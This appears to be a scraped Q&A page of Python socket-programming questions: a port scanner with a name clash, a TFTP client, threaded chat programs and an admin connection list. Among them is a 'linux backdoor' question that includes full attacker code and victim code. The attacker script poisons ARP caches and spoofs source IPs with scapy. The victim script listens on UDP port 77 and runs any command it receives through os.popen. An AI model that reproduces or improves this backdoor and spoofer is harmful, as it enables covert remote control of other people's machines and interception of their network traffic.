from socket import *
import _thread
from My_TCP_callable import *
IP_list = []
port_list = []
def IP_find(IP_list):
IPtarget = input("Enter host to scan: ")
IP_list = []
print ('Starting scan on host ', IPtarget)
for ip in range(1, 256):
s = socket(AF_INET, SOCK_STREAM)
addr = IPtarget + str(ip)
result = s.connect_ex((addr, 135))
print (ip)
if(result == 0):
print ('IP %d: OPEN' % (addr,))
IP_list.append(str(addr))
s.close()
print("Open ports: %s" % (port_list))
sending_socket(port_list)
return
def port_find(port_list):
if __name__ == '__main__':
target = input('Enter host to scan: ')
possible_list = []
port_list = []
typ = int(input(" 1.Use standard ports \n 2.Set a range of points \n 3+.Set a number of specific points "))
if typ == 1:
possible_list = [20, 1025]
else:
for number in range(typ):
v = int(input("Set a port point: "))
possible_list.append(v)
if typ >= 3:
x = (possible_list)
else:
x = range(min(possible_list), max(possible_list))
targetIP = gethostbyname(target)
print ('Starting scan on host ', targetIP)
#scan reserved ports
for i in x:
s = socket(AF_INET, SOCK_STREAM)
result = s.connect_ex((targetIP, i))
if(result == 0):
print ('Port %d: OPEN' % (i,))
port_list.append(str(i))
s.close()
print("Open ports: %s" % (port_list))
return port_list
def sending_socket(port_list):
send_socket = input("Would you like to send a socket with this? ")
if send_socket == "yes":
port = int(input("Which port would you like to search? "))
message = input("What would you like to send? ")
My_TCP_callable.connect(targetIP, port, message)
elif send_socket == "automate":
message = "Alive"
for ports in port_list:
_thread.start_new_thread(connect ,(targetIP, ports, message))
return
IP_find(IP_list)
Every time I call this code an error comes up:
File "C:\Users\as009542\Desktop\python\Networking\scanner.py", line 81, in
<module>
IP_find(IP_list)
File "C:\Users\as009542\Desktop\python\Networking\scanner.py", line 15, in IP_find
s = socket(AF_INET, SOCK_STREAM)
TypeError: 'module' object is not callable
I've checked around and used this in other programs but I cant figure out why the socket can't create.
This code is not pretty or complete however I can't continue making it until I fix this problem, the last function 'sending_socket' is being called from a different file called 'My_TCP_callable' although this does not affect the problem I am having.
You are probably using import socket in your module My_TCP_callable
Because you use
from socket import *
from My_TCP_callable import *
Everything from each module is imported, and the socket names are clashing (preference is given to the one from My_TCP_callable.
I reproduced this behaviour with two files, test2.py which contained one line, import socket, and test.py which contained
from socket import *
from test2 import *
socket()
A good coding style is to use from ... import * very rarely, and only on modules specifically designed for it.
Related
i'm creating a reverse shell for a linux backdoor for fun, and I got it working to a point. Most commands work like "cd", "ifconfig", and "ls". But commands like "cp" and "rm" work on the victim computer, but I don't get any output on my side (the attacker), I get this error when I try to "rm" or "cp":
Can you guys help me try and handle this? I know cp doesn't actually output anything, and my program expects an output. Even though I get this error on my end, when I look at the victim I can still see the action (cp, or rm) go through. Another alternative is whenever I get this error, I can get my program to just prompt for a command again.
Any help would be sick!
Attacker code:
import sys
import socket
import threading
import time
from logging import getLogger, ERROR
from scapy.all import *
getLogger('scapy.runtime').setLevel(ERROR)
try:
victimIP = raw_input('Enter victim IP: ')
spoofIP = raw_input('Enter IP you want to spoof: ')
IF = raw_input('Enter network interface: ')
except KeyboardInterrupt:
print '[!] User Interrupted Input'
sys.exit(1)
conf.verb = 0
def getMAC():
try:
pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
except Exception:
print '[!] Failed to Resolve Victim MAC Address'
sys.exit(1)
for snd, rcv in pkt[0]:
return rcv.sprintf(r"%Ether.src%")
print '\n[*] Resolving Victim MAC Address... '
victimMAC = getMAC()
spoofStatus = True
def poison():
while 1:
if spoofStatus == False:
break
return
send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
time.sleep(5)
print '\n[*] Starting Spoofer Thread...'
thread = []
try:
poisonerThread = threading.Thread(target=poison)
thread.append(poisonerThread)
poisonerThread.start()
print '[*] Thread Started Successfully\n'
except Exception:
print '[!] Failed to Start Thread'
sys.exit(1)
print 'Initializing connection with victim...'
pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='hello victim'))
pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='report'))
prompt = pkt2.getlayer(Raw).load
print 'Initialization Complete'
print '[*] Enter "goodbye" to Stop Connection\n'
while 1:
command = raw_input(prompt)
sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load=command))
output = sendcom.getlayer(Raw).load
if command.strip() == 'goodbye':
print '\nGrabbing Threads...'
spoofStatus = False
poisonerThread.join()
sys.exit(1)
print output
Victim code:
import socket
import os
import sys
import platform
def launch():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 77))
launch = s.recvfrom(1024)
addr = launch[1][0]
port = launch[1][1]
s.sendto('hello paul', (addr, port))
return s, addr, port
s, addr, port = launch()
def getsysinfo():
que = s.recvfrom(1024)
prompt = []
if que[1][0] == addr and que[1][1] == port:
if os.getuid() == 0:
prompt.append('root#')
prompt.append('# ')
else:
prompt.append('user#')
prompt.append('$ ')
prompt.insert(1, platform.dist()[0])
s.sendto(''.join(prompt), (addr, port))
return
getsysinfo()
def shell():
while 1:
try:
command = s.recv(1024)
if command.strip().split()[0] == 'cd':
os.chdir(command.strip('cd '))
s.sendto('Changed Directory', (addr, port))
elif command.strip() == 'goodbye':
s.sendto('Goodbye paul', (addr, port))
s.close()
break
else:
proc = os.popen(command)
output = ''
for i in proc.readlines():
output += i
output = output.strip()
s.sendto(output, (addr, port))
except Exception:
s.sendto('An unexpected error has occured', (addr, port))
pass
shell()
I fixed it by adding this bit of code:
try:
output = sendcom.getlayer(Raw).load
except AttributeError:
continue
I'm still a student so I might have missed something really obvious.
So I am stressing out about this so much.
But anyway here's my TFTP python code, all it does is downloading a text-file from our lecturer's server.
The file generated by it looks like this:
http://pastebin.com/TP8hngxM
And the original file like this:
http://pastebin.com/xDMjkABp
And if you run it through a difference checker, the difference is miniscule and in only 1 specific spot and it's really difficult for me to figure out why is this happening.
The downloaded file has a few extra words.
If you have spare 5 minutes, could you please check out my nested while loop (everything else was provided by the lecturer and can't be changed) to see if there's anything wrong with it?
The worst thing is that I've already had it working, but I lost my memory stick and I lost the most up-to-date version of the program that was running 100% fine.
So as I said, it's only about the nested while loop, I' not allowed to change anything above it.
#!/usr/bin/python
import struct
import sys
import os
import select
import glamnetsim
from socket import *
serverHost = 'mcgreg.comp.glam.ac.uk'
serverPort = 69
timeoutSecs = 5
debugging = False
RRQ, WRQ, DATA, ACK, ERROR = range(1, 6)
codeDescriptions = {RRQ:"RRQ", WRQ:"WRQ", DATA:"DATA", ACK:"ACK", ERROR:"ERROR"}
def printf (format, *args):
print str(format) % args,
def finish ():
printf("you should see\n1e951df315d433aa4df2065a1ad31311\n")
os.system("md5sum newfile.txt")
sys.exit(0)
def sendPacket (packet, port):
global sock, debugging
global serverIp
if debugging:
for i in packet:
print ('%02x' % ord(i)),
print ''
sock.sendto(packet, (serverIp, port))
def sendReadRequest (filename, mode):
global serverPort
format = "!H%ds" % (len(filename)+1)
format += "%ds" % (len(mode)+1)
s = struct.pack(format, 1, filename, mode)
sendPacket(s, serverPort)
def sendRealAck(blockno, port):
s = struct.pack("!H", 4)
s += struct.pack("!H", blockno)
sendPacket(s, port)
def sendACK (blockno, port):
print " -> ACK:%d\n" % blockno
if blockno == 0:
sendReadRequest("the_machine_stops.txt", "octet")
else:
sendRealAck(blockno, port)
def stripPacket (s):
if len(s)>3:
code = struct.unpack("!H", s[:2])[0]
blockno = struct.unpack("!H", s[2:4])[0]
data = s[4:]
code, data = glamnetsim.simulatePossibleError (code, data)
return code,blockno,data
else:
debugPrint("corrupt packet")
return -1,-1,""
def debugPrint (s):
global debugging
if debugging:
print s
def getDesc (c):
global codeDescriptions
return codeDescriptions[c]
sock = socket(AF_INET, SOCK_DGRAM)
serverIp = gethostbyname(serverHost)
sock.setblocking(1)
sendReadRequest("the_machine_stops.txt", "netascii")
lastblock = 0
blockno = 0
port = serverPort
f = open("newfile.txt", "w")
while True:
while True:
if blockno == lastblock+1:
break
r, w, x = select.select([sock], [], [], 5.0)
if r == []:
sendACK(lastblock, port)
else:
(packet, (address, port)) = sock.recvfrom(512+4)
code, newblock, text = stripPacket(packet)
print code, blockno
if code is 3:
blockno = newblock
sendACK(blockno, port)
if code is 5:
sendACK(lastblock, port)
print "Bn: " + str(blockno) + " Lb: " + str(lastblock)
lastblock = blockno
f.write(text)
print "OK"
if len(text) < 512:
break
f.close()
finish()
f.write(text)
That line is run with a stale value if blockno == lastblock+1. It probably should be within the inner loop.
I am trying to build a small chat server/client using python. So far I think I managed to set it up but I am running into issues. I wanted to set the program up to be multithreaded to keep the server listening for connections, and to also continue to listen for data and then have the main program loop stay in the client send. Here is my code, and I am running into an issue when starting the listen function, it tells me the argument must be an iterable not socket.
import socket
import platform
import os
import threading
'''Define Globals'''
HOST = ""
PORT = 25000
ADDR = (HOST, PORT)
BUF = 1024
def client_send():
server_ip = input("[+] Server's IP to connect to: ")
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_ip, 25000))
data_thread = threading.Thread(target=client_listen, args=(client_socket))
data_thread.start()
while True:
data = input("[%s] => " % os.getlogin())
client.send(str.encode("[%s] => " + data % os.getlogin()))
def client_listen(client):
while True:
print(client.recv(BUF))
def server_loop():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen(10)
print("[+] Server started on %s" %platform.node())
print("[+] Awaitiing connection from client..")
while True:
client_socket, client_addr = server.accept()
print("[+] New Connection from %s" %client_addr[0])
def main():
server_thread = threading.Thread(target=server_loop)
while True:
try:
print("Select Operating Mode")
print("---------------------")
print("1. Server Mode")
print("2. Client Mode")
mode = int(input("Enter mode of operation: "))
print("")
print("")
if mode in [1,2]:
break
else:
raise ValueError
except ValueError:
print("Enter either (1) for Server or (2) for Client")
if mode == 1:
server_thread.start()
elif mode == 2:
client_send()
main()
You need to make the arguments a tuple.
You should supply an extra comma after the argument list as in:
data_thread = threading.Thread(target=client_listen, args=(client_socket,))
The difference can be seen when you look into the types of both:
>>> type((client_socket))
<class 'socket._socketobject'>
>>> type((client_socket,))
<type 'tuple'>
My list contains IP addresses and port numbers of connected clients to my program. The admin threads role is to send each currently connected clients IP address and port number to an admin client in this string format - eg '172.0.0.1 1234'. Could I have some advise on how to send each each address so that it only shows currently connected addresses and port numbers on the admin client program.
addressList is a global variable list
Here is my code-
Server
import threading
import socket
import math
import random
import ssl
addressList = []
def within(guess,goal,n):
absValue = abs(guess - goal)
if absValue <= n:
return True
else:
return False
def HandleAdmin(adminSocket,):
global addressList
(c,a) = adminSocket.accept()
ts = ssl.wrap_socket(c, certfile="5cc515_server.crt",
keyfile="5cc515_server.key",
server_side=True,
cert_reqs=ssl.CERT_REQUIRED,
ca_certs="5cc515-root-ca.cer")
if ts.recv(80).decode() == 'Hello\r\n':
ts.send('Admin-Greetings\r\n'.encode())
if ts.recv(80).decode() == 'Who\r\n':
for addr in addressList:
ts.send(addr).encode()
ts.close()
return
def HandleClient(c,a):
global addressList
address, port = a
address = str(address) + ' ' + str(port)
addressList.append(address)
scoreCount = 0
guess = 0
if(c.recv(80).decode()) == 'Hello\r\n':
c.send('Greetings\r\n'.encode())
goal = random.randrange(1,21)
while guess!= goal:
guess =c.recv(80).decode()
guess = int(guess[7:len(guess)-2])
if guess == goal:
c.send('Correct\r\n'.encode())
elif within(guess, goal, 2) == True:
c.send('Close\r\n'.encode())
else:
c.send('Far\r\n'.encode())
c.close()
return
clientSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
clientSocket.bind(("127.0.0.1",4000))
clientSocket.listen(5)
adminSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
adminSocket.bind(("127.0.0.1",4001))
adminSocket.listen(5)
handleAdminThread = threading.Thread(target = HandleAdmin,
args = (adminSocket,))
handleAdminThread.start()
while True:
(c,a) = clientSocket.accept()
clientThread = threading.Thread(target = HandleClient, args = (c,a))
clientThread.start()
Admin Client
import ssl
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ts = ssl.wrap_socket(s, certfile="100298750.crt",
keyfile="100298750.key",
ca_certs="5cc515-root-ca.cer")
ts.connect(('127.0.0.1', 4001))
ts.send("Hello\r\n".encode())
addressList = []
if ts.recv(80).decode() == "Admin-Greetings\r\n":
print("The players currently playing are:\n\n")
ts.send("Who\r\n".encode())
while True:
print(ts.recv(80).decode())
In your HandleClient function, c.close() means the client has disconnected.
So, to let your admin know they did, you have to remove that address from the 'addressList' (since when you send "Who\r\n" your addressList list is referred to).
So, after c.close() you should write:
addressList.remove(address)
Writing a chat program and am looking for the ability for it to print messages that are being received when they are received while the user can enter a message to the other person. Currently the program sends message to other computer then receives the other computer's message and then repeats.
import sys
import socket as so
import platform
from socket import *
import string
import base64
import os
import random
dmi = 0
lmi = 0
host = ""
checkcode = ''.join(random.choice('0123456789QWERTYUIOPLKJHGFDSAZXCVBNMasdfgjhklpoiuytrewqmnzbxvc') for i in range(16))
BLOCK_SIZE = 32
hostl = raw_input("> Input IP of computer message will be sent to: ")
port = 13000
buf = 1024
addr = (host, port)
addrl = (hostl, port)
UDPSock = socket(AF_INET, SOCK_DGRAM)
UDPSock.bind(addr)
addr = (host, port)
addrl = (hostl, port)
while dmi == 0:
datal = raw_input("Enter message to send or type 'exit': ")
UDPSock.sendto(datal, addrl)
if datal == "exit":
UDPSock.close()
dmi +=1
(data, addr) = UDPSock.recvfrom(buf)
print "Received message: "+ data
print "Done!"
Don't ask about the un-needed libraries that I have imported, this is a test script.
You need to learn how to use multiple threads (http://www.tutorialspoint.com/python/python_multithreading.htm). One thread waits for user input, while the other receives the messages and prints them.